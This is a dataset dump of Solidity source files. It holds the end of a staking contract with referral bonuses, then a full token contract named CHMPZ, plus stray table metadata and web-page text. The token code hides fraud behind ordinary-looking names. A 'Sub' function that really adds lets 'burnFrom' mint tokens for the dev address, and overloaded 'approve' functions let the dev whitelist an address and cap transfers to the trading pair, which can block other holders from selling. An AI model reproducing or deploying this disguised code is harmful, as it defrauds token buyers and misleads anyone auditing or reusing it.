uint256 _profitWithFee = _profit.sub(_profit.mul(WITHDRAW_FEE_2).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_profitWithFee);
}
}
}
}
return totalAmount;
}
function getUserAvailable(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else {
if(block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
}
return totalAmount;
}
function getContractInfo() public view returns(uint256, uint256, uint256) {
return(totalStaked, totalRefBonus, totalUsers);
}
function getUserWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256) {
return (users[userAddress].referrals);
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256 amount) {
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 317,472 | 10,598 |
c652fbb64e7dd6a9b0641819cfe45d09d3175f921f2161b3dddfc0b8d7df8802
| 19,602 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/9a/9A637068f6c6f7B458e23B13Cbc91780faFE6DEE_CHMPZ.sol
| 3,237 | 11,040 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CHMPZ is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 46,486 | 10,599 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.